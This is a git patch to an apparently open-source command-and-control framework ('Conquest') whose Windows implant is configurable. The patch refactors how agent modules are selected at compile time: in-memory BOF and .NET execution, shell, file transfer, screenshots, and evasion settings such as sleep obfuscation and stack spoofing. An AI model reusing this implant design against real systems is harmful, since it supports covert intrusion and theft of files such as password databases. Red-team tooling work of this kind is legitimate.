From 5d09efd8239f70b37d29561cb594c94810112c37 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Wed, 17 Sep 2025 15:55:13 +0200 Subject: [PATCH] Reworked module system. Modules can now be individually set to be included in the agent. For example, it is possible to compile an agent only capable of executing BOFs and nothing else. --- src/agent/main.nim | 7 +- src/agent/nim.cfg | 1 + src/common/types.nim | 17 +- src/modules/bof.nim | 32 ++-- src/modules/dotnet.nim | 32 ++-- src/modules/filesystem.nim | 150 +++++++++--------- src/modules/filetransfer.nim | 51 +++--- src/modules/manager.nim | 70 +++++--- src/modules/screenshot.nim | 26 +-- src/modules/shell.nim | 32 ++-- ...vironment.nim => situationalAwareness.nim} | 58 +++---- src/modules/sleep.nim | 30 ++-- src/server/core/builder.nim | 1 + src/server/core/server.nim | 8 +- src/server/main.nim | 2 - 15 files changed, 291 insertions(+), 226 deletions(-) rename src/modules/{environment.nim => situationalAwareness.nim} (83%) diff --git a/src/agent/main.nim b/src/agent/main.nim index a57814f..b9b7d0e 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -1,8 +1,7 @@ import strformat, os, times, system, base64 -import core/[http, context, sleepmask, coff] +import core/[http, context, sleepmask] import protocol/[task, result, heartbeat, registration] -import ../modules/manager import ../common/[types, utils, crypto] proc main() = @@ -12,9 +11,6 @@ proc main() = if ctx == nil: quit(0) - # Load agent commands - loadModules() - # Create registration payload var registration: AgentRegistrationData = ctx.collectAgentMetadata() let registrationBytes = ctx.serializeRegistrationData(registration) @@ -32,7 +28,6 @@ proc main() = 4. If additional tasks have been fetched, go to 2. 5. If no more tasks need to be executed, go to 1. ]# - while true: # Sleep obfuscation to evade memory scanners sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack) diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index cf2532f..741e861 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -4,4 +4,5 @@ --opt:size --passL:"-s" # Strip symbols, such as sensitive function names -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" +-d:MODULES=1 -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim index dc76220..4b3fef8 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -50,6 +50,17 @@ type CMD_SCREENSHOT = 15'u16 CMD_DOTNET = 16'u16 + ModuleType* = enum + MODULE_ALL = 1'u32 + MODULE_SLEEP = 2'u32 + MODULE_SHELL = 4'u32 + MODULE_BOF = 8'u32 + MODULE_DOTNET = 16'u32 + MODULE_FILESYSTEM = 32'u32 + MODULE_FILETRANSFER = 64'u32 + MODULE_SCREENSHOT = 128'u32 + MODULE_SITUATIONAL_AWARENESS = 256'u32 + StatusType* = enum STATUS_COMPLETED = 0'u8 STATUS_FAILED = 1'u8 @@ -143,7 +154,6 @@ type # Registration binary structure type - # All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data AgentMetadata* = object listenerId*: Uuid @@ -238,6 +248,11 @@ type dispatchMessage*: string execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.} + Module* = object + name*: string + description*: string + commands*: seq[Command] + # Definitions for ImGui User interface type ConsoleItem* = ref object diff --git a/src/modules/bof.nim b/src/modules/bof.nim index 14ad525..97436d8 100644 --- a/src/modules/bof.nim +++ b/src/modules/bof.nim @@ -3,20 +3,24 @@ import ../common/[types, utils] # Define function prototype proc executeBof(ctx: AgentCtx, task: Task): TaskResult -# Command definition (as seq[Command]) -let commands*: seq[Command] = @[ - Command( - name: protect("bof"), - commandType: CMD_BOF, - description: protect("Execute an object file in memory and retrieve the output."), - example: protect("bof /path/to/dir.x64.o C:\\Users"), - arguments: @[ - Argument(name: protect("path"), description: protect("Path to the object file to execute."), argumentType: BINARY, isRequired: true), - Argument(name: protect("arguments"), description: protect("Arguments to be passed to the object file. Arguments are handled as STRING, unless specified with a prefix ([i]:INT, [w]:WSTRING, [s]:SHORT; the colon separates prefix and value)"), argumentType: STRING, isRequired: false) - ], - execute: executeBof - ) -] +# Module definition +let module* = Module( + name: protect("bof"), + description: protect("Load and execute BOF/COFF files in memory."), + commands: @[ + Command( + name: protect("bof"), + commandType: CMD_BOF, + description: protect("Execute an object file in memory and retrieve the output."), + example: protect("bof /path/to/dir.x64.o C:\\Users"), + arguments: @[ + Argument(name: protect("path"), description: protect("Path to the object file to execute."), argumentType: BINARY, isRequired: true), + Argument(name: protect("arguments"), description: protect("Arguments to be passed to the object file. Arguments are handled as STRING, unless specified with a prefix ([i]:INT, [w]:WSTRING, [s]:SHORT; the colon separates prefix and value)"), argumentType: STRING, isRequired: false) + ], + execute: executeBof + ) + ] +) # Implement execution functions when defined(server): diff --git a/src/modules/dotnet.nim b/src/modules/dotnet.nim index f3610df..8ecbad3 100644 --- a/src/modules/dotnet.nim +++ b/src/modules/dotnet.nim @@ -3,20 +3,24 @@ import ../common/[types, utils] # Define function prototype proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult -# Command definition (as seq[Command]) -let commands*: seq[Command] = @[ - Command( - name: protect("dotnet"), - commandType: CMD_DOTNET, - description: protect("Execute a .NET assembly in memory and retrieve the output."), - example: protect("dotnet /path/to/Seatbelt.exe antivirus"), - arguments: @[ - Argument(name: protect("path"), description: protect("Path to the .NET assembly file to execute."), argumentType: BINARY, isRequired: true), - Argument(name: protect("arguments"), description: protect("Arguments to be passed to the assembly. Arguments are handled as STRING"), argumentType: STRING, isRequired: false) - ], - execute: executeAssembly - ) -] +# Module definition +let module* = Module( + name: protect("dotnet"), + description: protect("Load and execute .NET assemblies in memory."), + commands: @[ + Command( + name: protect("dotnet"), + commandType: CMD_DOTNET, + description: protect("Execute a .NET assembly in memory and retrieve the output."), + example: protect("dotnet /path/to/Seatbelt.exe antivirus"), + arguments: @[ + Argument(name: protect("path"), description: protect("Path to the .NET assembly file to execute."), argumentType: BINARY, isRequired: true), + Argument(name: protect("arguments"), description: protect("Arguments to be passed to the assembly. Arguments are handled as STRING"), argumentType: STRING, isRequired: false) + ], + execute: executeAssembly + ) + ] +) # Implement execution functions when defined(server): diff --git a/src/modules/filesystem.nim b/src/modules/filesystem.nim index f3d0c96..faf3da5 100644 --- a/src/modules/filesystem.nim +++ b/src/modules/filesystem.nim @@ -9,79 +9,83 @@ proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult proc executeMove(ctx: AgentCtx, task: Task): TaskResult proc executeCopy(ctx: AgentCtx, task: Task): TaskResult -# Command definitions -let commands* = @[ - Command( - name: protect("pwd"), - commandType: CMD_PWD, - description: protect("Retrieve current working directory."), - example: protect("pwd"), - arguments: @[], - execute: executePwd - ), - Command( - name: protect("cd"), - commandType: CMD_CD, - description: protect("Change current working directory."), - example: protect("cd C:\\Windows\\Tasks"), - arguments: @[ - Argument(name: protect("directory"), description: protect("Relative or absolute path of the directory to change to."), argumentType: STRING, isRequired: true) - ], - execute: executeCd - ), - Command( - name: protect("ls"), - commandType: CMD_LS, - description: protect("List files and directories."), - example: protect("ls C:\\Users\\Administrator\\Desktop"), - arguments: @[ - Argument(name: protect("directory"), description: protect("Relative or absolute path. Default: current working directory."), argumentType: STRING, isRequired: false) - ], - execute: executeDir - ), - Command( - name: protect("rm"), - commandType: CMD_RM, - description: protect("Remove a file."), - example: protect("rm C:\\Windows\\Tasks\\payload.exe"), - arguments: @[ - Argument(name: protect("file"), description: protect("Relative or absolute path to the file to delete."), argumentType: STRING, isRequired: true) - ], - execute: executeRm - ), - Command( - name: protect("rmdir"), - commandType: CMD_RMDIR, - description: protect("Remove a directory."), - example: protect("rm C:\\Payloads"), - arguments: @[ - Argument(name: protect("directory"), description: protect("Relative or absolute path to the directory to delete."), argumentType: STRING, isRequired: true) - ], - execute: executeRmdir - ), - Command( - name: protect("move"), - commandType: CMD_MOVE, - description: protect("Move a file or directory."), - example: protect("move source.exe C:\\Windows\\Tasks\\destination.exe"), - arguments: @[ - Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true), - Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true) - ], - execute: executeMove - ), - Command( - name: protect("copy"), - commandType: CMD_COPY, - description: protect("Copy a file or directory."), - example: protect("copy source.exe C:\\Windows\\Tasks\\destination.exe"), - arguments: @[ - Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true), - Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true) - ], - execute: executeCopy - ) -] +# Module definition +let module* = Module( + name: protect("filesystem"), + description: protect("Conduct simple filesystem operations via Windows API."), + commands: @[ + Command( + name: protect("pwd"), + commandType: CMD_PWD, + description: protect("Retrieve current working directory."), + example: protect("pwd"), + arguments: @[], + execute: executePwd + ), + Command( + name: protect("cd"), + commandType: CMD_CD, + description: protect("Change current working directory."), + example: protect("cd C:\\Windows\\Tasks"), + arguments: @[ + Argument(name: protect("directory"), description: protect("Relative or absolute path of the directory to change to."), argumentType: STRING, isRequired: true) + ], + execute: executeCd + ), + Command( + name: protect("ls"), + commandType: CMD_LS, + description: protect("List files and directories."), + example: protect("ls C:\\Users\\Administrator\\Desktop"), + arguments: @[ + Argument(name: protect("directory"), description: protect("Relative or absolute path. Default: current working directory."), argumentType: STRING, isRequired: false) + ], + execute: executeDir + ), + Command( + name: protect("rm"), + commandType: CMD_RM, + description: protect("Remove a file."), + example: protect("rm C:\\Windows\\Tasks\\payload.exe"), + arguments: @[ + Argument(name: protect("file"), description: protect("Relative or absolute path to the file to delete."), argumentType: STRING, isRequired: true) + ], + execute: executeRm + ), + Command( + name: protect("rmdir"), + commandType: CMD_RMDIR, + description: protect("Remove a directory."), + example: protect("rm C:\\Payloads"), + arguments: @[ + Argument(name: protect("directory"), description: protect("Relative or absolute path to the directory to delete."), argumentType: STRING, isRequired: true) + ], + execute: executeRmdir + ), + Command( + name: protect("move"), + commandType: CMD_MOVE, + description: protect("Move a file or directory."), + example: protect("move source.exe C:\\Windows\\Tasks\\destination.exe"), + arguments: @[ + Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true), + Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true) + ], + execute: executeMove + ), + Command( + name: protect("copy"), + commandType: CMD_COPY, + description: protect("Copy a file or directory."), + example: protect("copy source.exe C:\\Windows\\Tasks\\destination.exe"), + arguments: @[ + Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true), + Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true) + ], + execute: executeCopy + ) + ] +) # Implementation of the execution functions when defined(server): diff --git a/src/modules/filetransfer.nim b/src/modules/filetransfer.nim index 165e567..fb23a82 100644 --- a/src/modules/filetransfer.nim +++ b/src/modules/filetransfer.nim @@ -4,30 +4,33 @@ import ../common/[types, utils] proc executeDownload(ctx: AgentCtx, task: Task): TaskResult proc executeUpload(ctx: AgentCtx, task: Task): TaskResult - -# Command definition (as seq[Command]) -let commands*: seq[Command] = @[ - Command( - name: protect("download"), - commandType: CMD_DOWNLOAD, - description: protect("Download a file."), - example: protect("download C:\\Users\\john\\Documents\\Database.kdbx"), - arguments: @[ - Argument(name: protect("file"), description: protect("Path to file to download from the target machine."), argumentType: STRING, isRequired: true), - ], - execute: executeDownload - ), - Command( - name: protect("upload"), - commandType: CMD_UPLOAD, - description: protect("Upload a file."), - example: protect("upload /path/to/payload.exe"), - arguments: @[ - Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true), - ], - execute: executeUpload - ) -] +# Module definition +let module* = Module( + name: protect("filetransfer"), + description: protect("Upload/download files to/from the target system."), + commands: @[ + Command( + name: protect("download"), + commandType: CMD_DOWNLOAD, + description: protect("Download a file."), + example: protect("download C:\\Users\\john\\Documents\\Database.kdbx"), + arguments: @[ + Argument(name: protect("file"), description: protect("Path to file to download from the target machine."), argumentType: STRING, isRequired: true), + ], + execute: executeDownload + ), + Command( + name: protect("upload"), + commandType: CMD_UPLOAD, + description: protect("Upload a file."), + example: protect("upload /path/to/payload.exe"), + arguments: @[ + Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true), + ], + execute: executeUpload + ) + ] +) # Implement execution functions when defined(server): diff --git a/src/modules/manager.nim b/src/modules/manager.nim index 024cbf6..3ab5895 100644 --- a/src/modules/manager.nim +++ b/src/modules/manager.nim @@ -1,16 +1,7 @@ import tables, strformat import ../common/types -# Import modules -import - shell, - sleep, - filesystem, - filetransfer, - environment, - bof, - dotnet, - screenshot +const MODULES {.intdefine.} = 1 type ModuleManager* = object @@ -19,21 +10,56 @@ type var manager: ModuleManager -proc registerCommands(commands: seq[Command]) {.discardable.} = - for cmd in commands: +proc registerModule(module: Module) {.discardable.} = + for cmd in module.commands: manager.commandsByType[cmd.commandType] = cmd manager.commandsByName[cmd.name] = cmd -proc loadModules*() = - # Register all imported commands - registerCommands(shell.commands) - registerCommands(sleep.commands) - registerCommands(filesystem.commands) - registerCommands(filetransfer.commands) - registerCommands(environment.commands) - registerCommands(bof.commands) - registerCommands(dotnet.commands) - registerCommands(screenshot.commands) +# Import all modules +when ((MODULES and cast[uint32](MODULE_ALL)) == cast[uint32](MODULE_ALL)): + import + sleep, + shell, + filesystem, + filetransfer, + bof, + dotnet, + screenshot, + situationalAwareness + registerModule(sleep.module) + registerModule(shell.module) + registerModule(bof.module) + registerModule(dotnet.module) + registerModule(filesystem.module) + registerModule(filetransfer.module) + registerModule(screenshot.module) + registerModule(situationalAwareness.module) + +# Import modules individually +when ((MODULES and cast[uint32](MODULE_SLEEP)) == cast[uint32](MODULE_SLEEP)): + import sleep + registerModule(sleep.module) +when ((MODULES and cast[uint32](MODULE_SHELL)) == cast[uint32](MODULE_SHELL)): + import shell + registerModule(shell.module) +when ((MODULES and cast[uint32](MODULE_BOF)) == cast[uint32](MODULE_BOF)): + import bof + registerModule(bof.module) +when ((MODULES and cast[uint32](MODULE_DOTNET)) == cast[uint32](MODULE_DOTNET)): + import dotnet + registerModule(dotnet.module) +when ((MODULES and cast[uint32](MODULE_FILESYSTEM)) == cast[uint32](MODULE_FILESYSTEM)): + import filesystem + registerModule(filesystem.module) +when ((MODULES and cast[uint32](MODULE_FILETRANSFER)) == cast[uint32](MODULE_FILETRANSFER)): + import filetransfer + registerModule(filetransfer.module) +when ((MODULES and cast[uint32](MODULE_SCREENSHOT)) == cast[uint32](MODULE_SCREENSHOT)): + import screenshot + registerModule(screenshot.module) +when ((MODULES and cast[uint32](MODULE_SITUATIONAL_AWARENESS)) == cast[uint32](MODULE_SITUATIONAL_AWARENESS)): + import situationalAwareness + registerModule(situationalAwareness.module) proc getCommandByType*(cmdType: CommandType): Command = return manager.commandsByType[cmdType] diff --git a/src/modules/screenshot.nim b/src/modules/screenshot.nim index 38ab213..2823baf 100644 --- a/src/modules/screenshot.nim +++ b/src/modules/screenshot.nim @@ -3,17 +3,21 @@ import ../common/[types, utils] # Define function prototype proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult -# Command definition (as seq[Command]) -let commands*: seq[Command] = @[ - Command( - name: protect("screenshot"), - commandType: CMD_SCREENSHOT, - description: protect("Take a screenshot of the target system."), - example: protect("screenshot"), - arguments: @[], - execute: executeScreenshot - ) -] +# Module definition +let module* = Module( + name: protect("screenshot"), + description: protect("Take and retrieve a screenshot of the target desktop."), + commands: @[ + Command( + name: protect("screenshot"), + commandType: CMD_SCREENSHOT, + description: protect("Take a screenshot of the target system."), + example: protect("screenshot"), + arguments: @[], + execute: executeScreenshot + ) + ] +) # Implement execution functions when defined(server): diff --git a/src/modules/shell.nim b/src/modules/shell.nim index d22807b..1dcf48b 100644 --- a/src/modules/shell.nim +++ b/src/modules/shell.nim @@ -3,20 +3,24 @@ import ../common/[types, utils] # Define function prototype proc executeShell(ctx: AgentCtx, task: Task): TaskResult -# Command definition (as seq[Command]) -let commands*: seq[Command] = @[ - Command( - name: protect("shell"), - commandType: CMD_SHELL, - description: protect("Execute a shell command and retrieve the output."), - example: protect("shell whoami /all"), - arguments: @[ - Argument(name: protect("command"), description: protect("Command to be executed."), argumentType: STRING, isRequired: true), - Argument(name: protect("arguments"), description: protect("Arguments to be passed to the command."), argumentType: STRING, isRequired: false) - ], - execute: executeShell - ) -] +# Module definition +let module* = Module( + name: protect("shell"), + description: protect("Execute shell commands or programs."), + commands: @[ + Command( + name: protect("shell"), + commandType: CMD_SHELL, + description: protect("Execute a shell command and retrieve the output."), + example: protect("shell whoami /all"), + arguments: @[ + Argument(name: protect("command"), description: protect("Command to be executed."), argumentType: STRING, isRequired: true), + Argument(name: protect("arguments"), description: protect("Arguments to be passed to the command."), argumentType: STRING, isRequired: false) + ], + execute: executeShell + ) + ] +) # Implement execution functions when defined(server): diff --git a/src/modules/environment.nim b/src/modules/situationalAwareness.nim similarity index 83% rename from src/modules/environment.nim rename to src/modules/situationalAwareness.nim index 8d456e8..1a42d11 100644 --- a/src/modules/environment.nim +++ b/src/modules/situationalAwareness.nim @@ -5,33 +5,37 @@ proc executePs(ctx: AgentCtx, task: Task): TaskResult proc executeEnv(ctx: AgentCtx, task: Task): TaskResult proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult -# Command definitions -let commands*: seq[Command] = @[ - Command( - name: protect("ps"), - commandType: CMD_PS, - description: protect("Display running processes."), - example: protect("ps"), - arguments: @[], - execute: executePs - ), - Command( - name: protect("env"), - commandType: CMD_ENV, - description: protect("Display environment variables."), - example: protect("env"), - arguments: @[], - execute: executeEnv - ), - Command( - name: protect("whoami"), - commandType: CMD_WHOAMI, - description: protect("Get user information."), - example: protect("whoami"), - arguments: @[], - execute: executeWhoami - ) -] +# Module definition +let module* = Module( + name: protect("situational-awareness"), + description: protect("Retrieve information about the target system and environment."), + commands: @[ + Command( + name: protect("ps"), + commandType: CMD_PS, + description: protect("Display running processes."), + example: protect("ps"), + arguments: @[], + execute: executePs + ), + Command( + name: protect("env"), + commandType: CMD_ENV, + description: protect("Display environment variables."), + example: protect("env"), + arguments: @[], + execute: executeEnv + ), + Command( + name: protect("whoami"), + commandType: CMD_WHOAMI, + description: protect("Get user information."), + example: protect("whoami"), + arguments: @[], + execute: executeWhoami + ) + ] +) # Implement execution functions when defined(server): diff --git a/src/modules/sleep.nim b/src/modules/sleep.nim index 88c5878..a6981bf 100644 --- a/src/modules/sleep.nim +++ b/src/modules/sleep.nim @@ -3,19 +3,23 @@ import ../common/[types, utils] # Define function prototype proc executeSleep(ctx: AgentCtx, task: Task): TaskResult -# Command definition (as seq[Command]) -let commands* = @[ - Command( - name: protect("sleep"), - commandType: CMD_SLEEP, - description: protect("Update sleep delay configuration."), - example: protect("sleep 5"), - arguments: @[ - Argument(name: protect("delay"), description: protect("Delay in seconds."), argumentType: INT, isRequired: true) - ], - execute: executeSleep - ) -] +# Module definition +let module* = Module( + name: protect("sleep"), + description: protect("Change sleep settings."), + commands: @[ + Command( + name: protect("sleep"), + commandType: CMD_SLEEP, + description: protect("Update sleep delay configuration."), + example: protect("sleep 5"), + arguments: @[ + Argument(name: protect("delay"), description: protect("Delay in seconds."), argumentType: INT, isRequired: true) + ], + execute: executeSleep + ) + ] +) # Implement execution functions when defined(server): diff --git a/src/server/core/builder.nim b/src/server/core/builder.nim index 96e1180..a3b2a8d 100644 --- a/src/server/core/builder.nim +++ b/src/server/core/builder.nim @@ -75,6 +75,7 @@ proc compile(cq: Conquest, placeholderLength: int): string = var config = readFile(configFile) .replaceAfterPrefix("-d:CONFIGURATION=", placeholder) .replaceAfterPrefix("-o:", exeFile) + # .replaceAfterPrefix("-d:MODULES=", modules) writeFile(configFile, config) cq.info(fmt"Placeholder created ({placeholder.len()} bytes).") diff --git a/src/server/core/server.nim b/src/server/core/server.nim index ae6d415..4f3cdc2 100644 --- a/src/server/core/server.nim +++ b/src/server/core/server.nim @@ -19,14 +19,12 @@ var parser = newParser: command("list"): help("List all active listeners.") + command("start"): help("Starts a new HTTP listener.") option("-i", "--ip", default=some("127.0.0.1"), help="IPv4 address to listen on.", required=false) option("-p", "--port", help="Port to listen on.", required=true) - - # TODO: Future features: - # flag("--dns", help="Use the DNS protocol for C2 communication.") - # flag("--doh", help="Use DNS over HTTPS for C2 communication.) + command("stop"): help("Stop an active listener.") option("-n", "--name", help="Name of the listener.", required=true) @@ -57,7 +55,7 @@ var parser = newParser: option("-s", "--sleep", help="Sleep delay in seconds.") option("--sleepmask", help="Sleep obfuscation technique.", default=some("none"), choices = @["ekko", "zilean", "foliage", "none"]) flag("--spoof-stack", help="Use stack duplication to spoof the call stack. Supported by EKKO and ZILEAN techniques.") - # option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],) + command("help"): nohelpflag() diff --git a/src/server/main.nim b/src/server/main.nim index 3f66eb5..040f26f 100644 --- a/src/server/main.nim +++ b/src/server/main.nim @@ -1,7 +1,5 @@ import core/server -import ../modules/manager # Conquest framework entry point when isMainModule: - loadModules() import cligen; dispatch startServer \ No newline at end of file